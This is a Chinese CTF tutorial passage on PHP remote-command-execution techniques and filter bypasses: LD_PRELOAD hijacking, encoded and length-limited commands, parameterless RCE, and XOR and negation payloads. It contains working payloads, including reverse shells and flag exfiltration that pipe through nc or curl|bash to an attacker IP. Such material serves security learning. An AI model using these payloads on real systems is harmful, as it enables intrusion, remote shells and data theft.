命令执行函数
system
system(string $command,int $return_var=?)
常用参数:
command参数:执行command参数所指定的命令,并且输出执行结果
如果提供return_var参数,则外部命令执行后的返回状态将会被设置到此变量中
能够直接回显结果

exec
exec(string $command,array &$output=?,int &$return_var=?)
command参数:要执行的命令。单独使用时只有最后一行结果,且不会回显(如果需要显示所有内容要定义一个数组),直接用echo只会回显最后一行
output参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。
需要借用print_r或者var_dump来输出结果

passthru
passthru(string $command,int &$return_var=?)
command参数:要执行的命令
输出二进制数据,并且需要直接传送到浏览器。
直接回显结果

shell_exec
shell_exec(string $cmd)
cmd参数:要执行的命令
环境执行命令,并且将完整的输出以字符串的方式返回。功能等同于反引号
借用echo、print等输出结果

反引号
反引号`要执行的命令`(反引号`在键盘左上角~号下面)
反引号能够执行程序指令
不能直接回显,需要使用echo/print来输出

popen
popen(string $command,string $mode)
command参数:要执行的命令。
mode参数:模式。’r’表示读取,’w’表示写入。
fgets获取内容->print_r输出内容
需要先fgets或者fread获取popen()的内容,然后再用echo或print_r输出

proc_open
proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
command参数:要执行的命令
descriptor_spec参数:定义数组内容
pipes参数:调用数组内容

pcntl_exec
pcntl_exec(string $path,array $args=?,array $envs=?)
pathpath必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/user/local/bin/perl的perl脚本)
args是一个要传递给程序的参数的字符串数组
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
在当前进程空间执行指定程序
补充:assert和eval
eval定义和用法:
1.eval会把字符串当作PHP代码来执行
2.eval语法非常严格,所有的要执行的php字符串都必须完整,且以分号结尾
3.如果字符串中带有return,会立刻终止执行并返回NULL
4.如果代码中存在解析错误,则 eval() 函数返回 false
assert的定义与用法:
1.assert会把字符串当作PHP代码来执行
2.assert被认定为一个可变函数
详细说明:https://blog.csdn.net/senng/article/details/125961095
替换绕过函数绕过
其实就是一个例题

发现没有过滤passthru,直接构造payload
1 2 3
| ?cmd=passthru('ls') 查看目录 或者 ?cmd=passthru('cat flag.php') 然后查看源码就能看到flag.php文件内容
|


LD_PRELOAD绕过
使用场景:disable_functions禁用所有肯用到命令执行的函数


mail()函数命令执行
绕过条件:

构造payload
mail函数——调用子程序“/user/sbin/sendmail”——调用动态链接库geteuid函数
给geteuid函数重新赋值
demo2.c
1 2 3 4 5 6 7 8 9 10
| #include <stdlib.h> #include <stdio.h> #include <string.h> void payload(){ system("cat /flag > /tmp/flag"); 读取flag输出到/tmp/flag } int geteuid(){ unsetenv("LD_PRELOAD"); payload(); }
|

EVIL_CMDLINE
执行其他命令时需要修改demo2.so里的geteuid函数

这个听不懂一点
蚁剑及pcntl绕过函数过滤
蚁剑
使用蚁剑绕过

pcntl_exec函数
需单独加载组件
pcntl_exec(string $path,array $args=?,array $envs=?)
参数path:必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/user/local/bin/perl的perl脚本)
参数:args是一个要传递给程序的参数的字符串数组
参数:envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值
在当前进程空间执行指定程序
#ls
#/bin/bash -c /bin/ls 完整命令
path:/bin/bash
args:-c/bin/ls
info信息:没有禁用pcntl_exec函数‘
pcntl_exec函数没有回显
解决方法一:cat文件并输出到有权限读取路径;
解决方法二:shell反弹

1 2
| nc -lvp 7777 监听命令 这里的ip为kali的ip
|
操作系统连接符
;
使多个命令按顺序执行
前面的命令和后面的命令都会执行
如果前面的命令出错不影响后面的命令执行

实例:

1
| payload:?cmd=;cat flag.php
|
连接之后代码变为
然后右键查看源码即可查看flag,或者使用tac直接回显
&
使命令在后台运行
这样就可以同时执行多条命令
如果前面的命令出错不影响后面的命令执行

注意:这里&要使用url编码
&&
如果前面的命令执行成功
则执行后面的命令
前面的命令执行成功才会进行后面的命令

|
将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;
前面的命令和后面的命令都会执行,但只显示后面的命令执行结果

||
类似于程序中的if-else语句。
若前面的命令执行成功,则后面的命令就不会执行
若前面的命令执行失败,则执行后面的命令
实例:

空格过滤绕过
例题:


绕过方法:
1.大括号{cat,flag.txt};
2.$IFS代替空格;$IFS、${IFS}、$IFS$9
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。
$IFS$9-后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串
3.重定向字符<,<>;
“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。
4.url编码:%09(Tab),%20(space);
一般使用%09,因为%20就是空格,空格被过滤了。
文件名过滤绕过
例题:

绕过方法:
1.通配符 ? * 绕过
通配符是一种特殊语句,主要有问号(?)和星号(*),用来模糊搜索文件。
?在linux里面可以进行代替字符。?仅代表单个字符串,但次单字必须存在。
1 2 3 4
| #cat fl?g.tx?
这样都行 #cat ????.???
|
*在linux里面可以进行模糊匹配。*可以代表任何字符串
1
| ?cmd=passthru('cat fl?g.p?p'); 查看源代码
|
1 2 3 4
| ?cmd=passthru('cat fl*');
这样都行 ?cmd=passthru('cat *');
|
2.单引号、双引号绕过
‘’,””空字符,在linux中等于插了个寂寞(空字符),但是能绕过正则匹配
1
| ?cmd=passthru('cat fl""ag.ph""p');
|
3.反斜杠 \ 绕过
把特殊字符去掉功能性,单纯表示为字符串。
绕过原理:(转义),对于php来说是添加了\但是对于linux来说只是转义符号,会自动去掉
1
| #ehco benben > -dazhuang 这里的>会将benben写入到-dazhuang文件里
|
在linux中还可当做命令连接符使用
4.特殊变量:$1到$9、$@和$*等
绕过原理:这些变量在linux中输出为空
5.内联执行
自定义字符串,再拼接起来
1
| #a=f;d=ag;c=l;cat $a$c$d.txt 表示cat flag.txt
|
1
| ?cmd=passthru('a=fl;d=ag;c=p;h=h;cat $a$d.$c$h$c');
|
6.利用linux中的环境变量
使用环境变量里的字符执行变量


1
| ?cmd=passthru('f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}');
|
常见文件读取命令绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号,跟cat功能类似 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看,用于排序文件 passthru("/usr/bin/s?rt" fl\ag.p\hp) uniq:可以查看报告或删除文件中重复的文件 file -f:报错出具体内容 grep 在文件中查找某些字符串 1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings 2.查找flag:?cmd=passthru("grep fla fla*") 从fla*文件中查找包含fla的字符串
|
例题:

绕过方法:
1.tac:反向显示
与cat功能类似,但是反向显示,从最后一行往前开始显示。
1 2 3 4
|
?cmd=passthru("ls"); ?cmd=passthru("tac fl\ag.ph\p");
|
2.more:一页一页的显示档案内容
1
| ?cmd=passthru("more fl\ag.ph\p");
|
3.less:与more类似
1
| ?cmd=passthru("less fl\ag.ph\p");
|
4.tail:查看末尾几行
1
| ?cmd=passthru("tail fl\ag.ph\p"); 默认显示最后10行
|
5.nl:显示的时候,顺便输出行号
1
| ?cmd=passthru("nl fl\ag.ph\p"); 效果和cat相同只是多了个输出行号
|
6.od:以二进制的方式读取档案内容
1
| ?cmd=passthru("od -A d -c fla\g.ph\p");
|
7:xxd:读取二进制文件
1
| ?cmd=passthru("xxd fla\g.ph\p");
|
8.sort:主要用于排序文件
1 2
| ?cmd=passthru("/usr/bin/s?rt fla\g.ph\p");
|
9.uniq:报告或删除文件中重复的行
1
| ?cmd=passthru("uniq fla\g.ph\p"); 直接当cat用
|
10.file -f:报错出具体内容
1 2
| ?cmd=passthru("file -f fla\g.ph\p"); 以每行的内容作为文件去读取
|
11.grep:在文本中查找指定的字符串
1 2
| ?cmd=passthru("grep fla fla*"); 从fla*文本文件中搜索包含"fla"字符串的行
|
编码绕过
绕过原理:

绕过方法:
1.base64编码
python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import base64 S = b'cat flag.php' e64 = base64.b64encode(S) 参数s的类型必须是字节包(bytes) print(e64)
cat flag.php -> Y2FOIGZsYWcucGhw tac flag.php -> dGFjIGZsYWcucGhw
执行命令 #echo Y2FOIGZsYWcucGhw | base64 -d | bash |把cat flag.php 放在bash里执行| base64 -d |把前面指令执行的结果,变成后面指令的参数 cat flag.php 解码读取命令
|把cat flag.php 放在bash里执行 #echo Y2FOIGZsYWcucGhw | base64 -d | bash 执行命令 #`echo Y2FOIGZsYWcucGhw | base64 -d` #$(echo Y2FOIGZsYWcucGhw | base64 -d)
payload: ?cmd=passthru('`echo "Y2FOIGZsYWcucGhw"|base64 -d`'); ?cmd=passthru('`echo "dGFjIGZsYWcucGhw"|base64 -d`');
|
2.bas32编码
1 2 3 4 5 6 7 8
| import base64 S = b'cat flag.php' e64 = base64.b32encode(S) print(e64)
payload: cat flag.php -> MNQXIIDGNRQWOLTQNBYA==== ?cmd=system('echo "MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');
|
base32和Base64的区分方法
看到编码内容,只有大写和数字
根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567
3.HEX编码
ASCII码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import binascii s = b"tac flag" h = binascii.b2a_hex(s) print(h)
tac flag.php -> 74616320666c61672e706870
执行命令 #echo "74616320666c61672e706870"|xxd -r -p|bash xxd:二进制显示和处理文件工具 -r -p:将纯十六进制转储的反向输出打印为了ascll格式 bash也可换成sh、/bin/bash、反引号
payload: ?cmd=passthru('echo "74616320666c61672e706870"|xxd -r -p|bash');
|
4.shellcode编码
16进制的机器码
1 2 3
| 将ascii 码前加\x 用print打印 ?cmd=passthru("print'shellcode编码'|bash")
|

反引号、$()都可
无回显时间盲注
命令盲注
页面无法shell反弹或者无法回显,或者没有写入权限,可尝试命令盲注。
根据返回的时间来进行判断;
读取文件指定行的指定位置的字符;
if判断语句
相关命令
1.sleep
2.awk NR
1 2 3
| #cat flag hello Flag{succss!!}
|
cat+awk NR逐行获取数据
1 2 3 4
| #cat flag | awk NR==1 hello #cat flag | awk NR==2 Flag{succss!!}
|
3.cut -c
cut命令逐列获取单个字符
1 2 3 4
| #cat flag | awk NR==2 | cut -c 1 F #cat flag | awk NR==2 | cut -c 2 l
|
4.if语句判断命令是否执行
1 2 3
| #if [$(cat flag | awk NR==2 | cut -c 1) == F];then echo "right";fi right #if [$(cat flag | awk NR==2 | cut -c 1) == a];then echo "right!";fi
|
if[]里的判断语句为真,则执行echo”right”; 否则执行fi结束
1
| #if [$(cat flag |awk NR==2 | cut -c 1) == F];then sleep 2;fi
|
if[]里的判断语句为真,则执行sleep 2,休眠2秒后返回结果
python脚本

长度过滤绕过
相关命令
>符号和>>符号
1.通过>来创建文件
1 2
| 创建文件a,并把字符串"benben"写入到文件a里
|
通过>来将命令执行结果写入文件会覆盖掉文件原本的内容
2.通过>>来追加内容
1 2
| #echo benben >> a 在原本文件内容后面追加"benben"
|
命令换行
在没有写完的命令后面加”\“,可以将一条1命令写在多行
相当于\把换行的命令连接到一起执行
ls -t命令
将文件名按照时间顺序排列出来(后创建的排在前面)
1 2 3 4
| #ls -t b c a 按时间顺序显示文件名 (后创建的排在前面)
|
注意:只能精确到秒
组合运用:
1 2 3 4 5 6
| #>ag #>fl #>"t " #>cat #ls -t ca 't ' fl ag
|
按时间顺序反向依次创建文件
“ca” “t “ “fl” “ag”
创建文件x,并把’ls -t’执行结果写入文件x里
组合运用
ls -t 命令列出文件名,然后每个文件名按行储存
在创建文件时,假如”\“,把命令”ca” “t “ “fl” “ag”连接起来
1 2 3 4 5
| #>ag #>fl\\ #>"t \\" #>ca\\ #ls -t > a
|
\\前面的\把后面的\实体化变成字符
sh命令是shell命令语言解释器
执行命令从标准输入读取或从一个文件中读取
总结
对命令有长度限制时
把一些很短的文件名拼接成可执行命令
步骤:
- 创建很短的文件名
- ls -t按时间顺序列出文件名,按行储存
- \连接换行命令
- sh从文件中读取命令
dir及 *和rev
dir:基本和ls一样,但有两个好处:
一是开头字母是d,这使得它在alphabetical序中靠前
二是按列输出,不换行
**:相当于$(dir )
这里echo改成cat可以直接查看文件的内容
如果第一个文件名是命令的话就会执行命令,
返回执行的结果,之后的文件名作为参数传入
rev:可以反转文件每一行的内容
1 2 3 4 5 6
| #cat flag 12345 67890 # rev flag 54321 09876
|
长度为7绕过方法解析
例题:

期望执行的命令:
1
| #cat flag|nc 192.168.1.161 7777
|
kali的ip地址192.168.1.161
监听端口7777
cat flag展示内容,再通过nc反弹提交到192.168.1.161:7777
拼接的步骤:
- >创建很短的的文件名
- ls -t按时间顺序列出文件名,按行储存
- \连接换行命令
- sh从文件中读取命令
步骤一:创建文件


步骤二:将文件名按顺序写入到文件
步骤三:执行脚本
python脚本:

nc反弹shell
在 Kali Linux 上监听连接
在目标主机上发起连接请求
linux
1
| nc -e /bin/bash <kali的IP> <kali监听端口>
|
windows
1
| nc -e cmd.exe <kali的IP> <kali监听端口>
|
长度为5绕过方法解析
例题:

1 2 3 4 5 6 7
| ls -t>a 字符串长度为7,超过限制5
>\ \\ 构造空格的字符串长度最少为5,超过一个空格便无法构造
长度限制为7时的命令不再适用
|

构建命令
1 2
| 期望执行的命令 curl 192.168.1.161|bash
|
步骤一:构造ls-t>y
ls默认排序无法正常排出“ls\”””“-t”“>y”
“ls”默认会排在最后,无法正常执行命令的
所以:我们先创建文件ls\
在创建文件”_”,并把“ls\”写入
再创建其他文件
用>>把所有文件名追加到文件_
最后sh_执行文件_中的内容,即创建文件y
步骤二:分解命令,创建文件

步骤三:执行脚本sh
执行命令curl 192.168.1.161|bash
反弹shell

python脚本



长度为4绕过方法解析
例题:

追加命令长度最少为5,超过4个,不再适用

步骤一:构造ls -t>g
1 2 3 4
| # >g\> # >t- *** # >sl # >dir
|
按字母排序但是顺序不满足
可以在-t后面加h,不影响命令执行,但是可以改变排序
在第二步创建的时候创建
这样就能实现顺序正确
然后:将*的执行内容写入v中
倒序排列
先创建一个rev,因为直接rev v要5个字符超过4个了,这里*v就相当于rev v
*v>x解释:
此处*为通配符,前能匹配rev,后可执行v
x文件中的内容
完整构造步骤
1 2 3 4 5 6 7 8
| >;\g >g\> >ht- >sl >dir *>v >rev *v>x
|
为了防止”g”后面有其他文件名造成影响,可以多创建一个文件”;\g”,
用”;”阻断后面字符的影响
步骤二:构造一个反弹shell
1 2
| curl 192.168.1.161|bash 十进制192.168.1.161 curl 0xC0A801A1|bash 十六进制0xC0A801A1
|

1 2 3
| curl 0xC0A801A1|bash ?cmd=>sh x ?cmd=>sh g
|

步骤三:反弹回来的shell查看flag

无参数命令执行
HTTP 请求头绕过(php 7.3)
例题:

解析:


所以这里只能提交函数,且函数内不能有参数
HTTP 请求标头
1
| getallheaders() 获取所有HTTP请求标头
|
单独使用无法回显执行结果
所以配合print_r()函数使用
在burpsuite中修改
1
| print_r(getallheaders())
|
即可回显请求头部信息

注意:提交的第一项是拿出的最后一项,在burpsuite中顺序是自下而上的
绕过方法:

可以用print_r()打印出来

也可以用pos()把第一项的值显示出来
1
| ?code=print_r(pos(getallheaders()))
|


也可以用end()把最后一项的值显示出来
1 2 3 4
| ?code=print_r(end(getallheaders()));
随机执行 ?code=eval(array_rand(array_flip(getallheaders())));
|

把print_r改成eval,然后将请求头改为我们要执行的命令即可执行命令(可以自己添加请求头信息)

使用apache_request_headers()
功能与getallheaders()相似,适用于Apache服务器
1
| print_r(apache_request_headers())
|
使用system(‘nc 192.168.1.161 -e \bin\bash’);进行shell反弹
利用全局变量进RCE(php5/7)
1 2 3
| ?code=eval(end(pos(get_defined_vars())));&cmd=system('ls'); 把print_r换成eval、assert即可执行命令system('ls'); system('ls');可替换成其他命令
|
例题还是上一道题
相关函数:
1 2 3 4 5
| get_defined_vars() 返回所有已定义变量的值,所组成的数组
?code=print_r(get_defined_vars()); 返回数组顺序为GET->POST->COOKIE->FILES
|
返回结果:

1 2 3 4 5
| ?code=print_r(pos(get_defined_vars())); 加入pos只获取第一项GET变量的值
?code=print_r(pos(get_defined_vars()));&cmd=system('ls'); &加入想要获取的指令
|

1 2
| ?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls'); end获取GET的最后一项cmd的值system('ls');
|

最终代码:
1 2 3 4 5
| ?code=eval(end(pos(get_defined_vars())));&cmd=system('ls'); 把print_r换成eval、assert即可执行命令system('ls'); system('ls');可替换成其他命令
|
原理:code中的eval先执行其中的代码然后得到system(‘ls’);
然后源码中的eval再执行system(‘ls’)返回结果
poc脚本:

利用session(php 5)
session(相关知识)
1 2
| session_start() 启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回FALSE
|
1 2 3 4 5 6
| ?code=print_r(session_start()); 返回1
?code=print_r(session_id(session_start())); 返回PHPSESSID的值 可以用Burp Suite修改PHPSESSID的值
|

实现代码:
第一种方法:读取文件
1 2 3 4
| ?code=show_source(session_id(session_start())); print_r修改为show_source() 用bp修改PHPSESSID的值为./flag 用show_source读取flag文件源代码
|
第二种方法:命令执行
1 2 3 4 5 6 7 8 9
| ?code=eval(session_id(sessio_start())); 修改外部函数为eval() 修改PHPSESSID的值为命令'phpinfo();' 无法直接执行,需先把命令'phpinfo();'HEX编码转为十六进制,写入PHPSESSID 再用hex2bin()函数将十六进制转换为二进制数,用eval执行
?code=eval(hex2bin(session_id(session_start()))); 然后就能执行命令了 将phpinfo();改为我们想执行的命令即可,例如system('cat flag');
|
使用scandir()进行文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 读取当前目录下所有文件名 ?code=print_r(scandir(current(localeconv())))
读取当前目录下位于第一位的文件 ?code=show_source(current(array_reverse(scandir(current(localeconv())))));
查看上级目录中的文件名 ?code=print_r(scandir(dirname(getcwd())));
随机读取上级目录中的文件 ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
概率查看根目录下文件名 ?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
随机读取根目录下文件 ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
|
还是那个例题无参数
只能进行文件读取
1 2
| scandir() 类似ls,在某文件路径下,把内容以列表形式显示出来
|
相关函数:

当前目录
查看当前目录文件名流程
1
| ?code=print_r(localeconv());
|
原理:localeconv()显示的数组第一项为”.”,scandir(.)即相对路径,表示读取当前目录下的文件名
1 2
| 获取字符'.' ?code=print_r(current(localeconv()));
|
current()功能同pos(),获取数组第一位
scandir()读取当前目录下所有文件名
1
| ?code=print_r(scandir(current(localeconv())));
|
1 2 3 4
| 倒序 ?code=print_r(array_reverse(scandir(current(localeconv())));
?code=print_r(current(array_reverse(scandir(current(localeconv()))));
|

读取当前目录下位于第一位的文件
1
| ?code=show_source(current(array_reverse(scandir(current(localeconv())))))
|
这样就能读取flag文件了
把第一个current换成next即可读取第二位的文件
getcwd
也可以使用getcwd来得到当前目录的绝对路径然后再使用scandir(getcwd())读取当前目录下的文件名
1 2
| 查看和读取当前目录文件 ?code=print_r(getcwd());
|
getcwd()当前目录,相当于pwd
1 2 3 4 5
| ?code=print_r(scandir(getcwd()));
?code=print_r(end(scandir(getcwd())));
?code=prin_r(show_source(end(scandir(getcwd()))));
|

上级目录
查看上一级目录文件名流程
1
| ?code=print_r(getcwd());
|
getcwd()当前目录
1 2
| 先使用getcwd()得到当前目录,再使用dirname()得到上一级目录 ?code=print_r(dirname(getcwd()));
|
dirname()上一级目录

再加上scandir()即可查看上级目录中的文件名
1
| ?code=print_r(scandir(dirname(getcwd())));
|
1
| ?code=print_r(scandir(next(dirname(getcwd()))));
|
效果相同
注意:但是这里无法使用show_source来读取文件,因为我们无法在当前目录下读取上一级目录中的文件,所以要使用chdir()修改我们执行命令所在的路径
读取上一级目录文件名
chdir()相当于cd
1 2
| 这样就能打印上级目录的文件名了 ?code=print_r(scandir(dirname(chdir(dirname(getcwd())))))
|
如果想读取上级目录中的文件,把print_r换成show_source,并且使用pos(),current(),end()即可
如果我们读取的文件顺序不在第一位或者最后一位,可以使用array_rand(array_flip())
原理:array_flip可以将数组中的键和值互换,array_rand可以随机取出数组中的键,两个函数结合我们就能有概率的得到我们想要的文件名,然后使用show_source即可读取我们想要读取的文件
1
| ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
|
其他方法:
太多函数了懒得手敲了

根目录
查看根目录文件名
1 2 3 4 5 6 7 8 9 10
| 原理:在序列化并加密后在字符串末尾可能会出现'/'然后这时再使用strrev函数来反转字符串,字符串首位就是'/'了
?code=print_r(array());
serialize()序列化 crypt单向字符串散列加密,结果随机 ?code=print_r(crypt(serialize(array())));
倒序 ?code=print_r(strrev(crypt(serialize(array()))));
|

1 2 3
| ord()函数和chr()函数 只能对第一个字符进行转码 ord()编码,chr()解码
|
1 2 3
| 原理:使用ord去编码第一个字符(相当于取出第一个字符,这里有概率是/),然后使用chr去解码(将编码后的/解码),然后使用scandir()去查看根目录下的文件名
?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
|
读取根目录下的文件
依然是使用前面的array_rand(array_flip()),还要使用chdir固定当前目录
1
| ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
|
但是这里双重概率,导致概率很低,所以可以使用burpsuite抓包到intruder,然后暴力破解
无字母数字异或运算绕过
例题:

a-z0-9过滤字母和数字
异或运算
概念:

1 2 3 4
| echo base_convert(bin2hex('5'),16,2) 00110101 echo base_convert(bin2hex('Z'),16,2) 01011010 '5'^'Z' 01101111 解码得到o
|
使用符号进行异或运算,获取想要得到的值

异或运算生成脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php header("content-type:text/html;charset=utf-8"); highlight_file("_FILE_"); error_reporting(0); $shell = "phpinfo"; $result1 = ""; $result2 = "";
function judge($c) { if(!preg_match('/[a-z0-9]/is',$c)) { return true; } return false; }
for($num=0;$num<=strlen($shell);$num++) { for($x=33;$x<=126;$x++) { if(judge(chr($x))) { for($y=33;$y<=126;$y++) { if (judge(chr($y))) { $f = chr($x) ^ chr($y); if ($f == $shell[$num]) { $result1 .= chr($x); $result2 .= chr($y); break 2; } } } } } }
echo "异或运算第一部分:".$result1." ";
echo "异或运算第二部分:".$result2;
|

注意:要先在hackbar中url编码才能生效
PHP5 POST方法绕过
注意:要先在hackbar中url编码才能生效
具体思路:

PHP7 反引号+POST绕过
PHP7之后的版本无法使用assert拼接,所以使用反引号+POST绕过
注意:``不能回显,且执行前也要使用ur编码
具体思路:

无字母数字取反绕过
取反运算

原理:先将我们的命令字符从ascii码转换成二进制,然后再取反,再转换为十六进制数,这样就能使用url解码然后再取反即可变成命令字符
取反poc

使用中文字符构造payload

使用url编码(简单)

PHP 7url编码

无字母数字自增绕过
原理:利用自增符号++来实现绕过,[]在php中直接echo是Array但是不能取出首字母A,这时我们使用$_=[].’’;拼接’’字符串,这样$_[0]即为A,其他字母就可以由这个A自增自减来得到
++

PHP5

poc脚本:

PHP7

无字母数字特殊符号绕过
短标签
例题:a-z0-9_过滤字母和数组、下划线
1 2 3 4 5 6
| <?php phpinfo() ?>
短标签 <?=phpinfo();?> 可直接执行
|
GET方式提交
1 2 3 4
| ?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> ?><?=`$_GET[%a0]`?>取反
payload: ?cmd=?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> &%a0=ls
|
POST方式提交
1 2 3 4 5 6
| ?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?> ?>?=`_POST[-]`?>取反
payload: ?cmd=?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?>
然后POST提交-=ls即可执行命令
|
文件读取
PHP中POST上传文件会把我们上传的文件暂时存在/tmp目录下
默认文件名是phpXXXXXX,文件名最后6个字符是随机的大小写字母
1 2 3 4 5
| ./???/?????? ?通配符,可以匹配到./tmp/phpXXXXXX,能匹配到的东西太多,通常会报错
./???/??????[@-[] [@-[]表示ASCII在@和[之间的字符,也就是大写字母,保障最后一位位大写字母
|
具体实现步骤:
一:先构造一个文件上传的POST数据包;
二:PHP页面生成临时文件phpXXXXXX,存储在/tmp目录下;
三:执行指令./???/??????[@-[],读取文件执行其中指令;
四:在上传的文件中写入一句话木马,把木马生成位置指定一个绝对路径,直接执行;

1 2 3
| payload: ?cmd=?><?=`.+/???/????????[@-[]`;?> 插入url编码,除了Host其他部分直接修改
|
图中的做法是输出一句话木马语句然后写入到success.php文件中
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。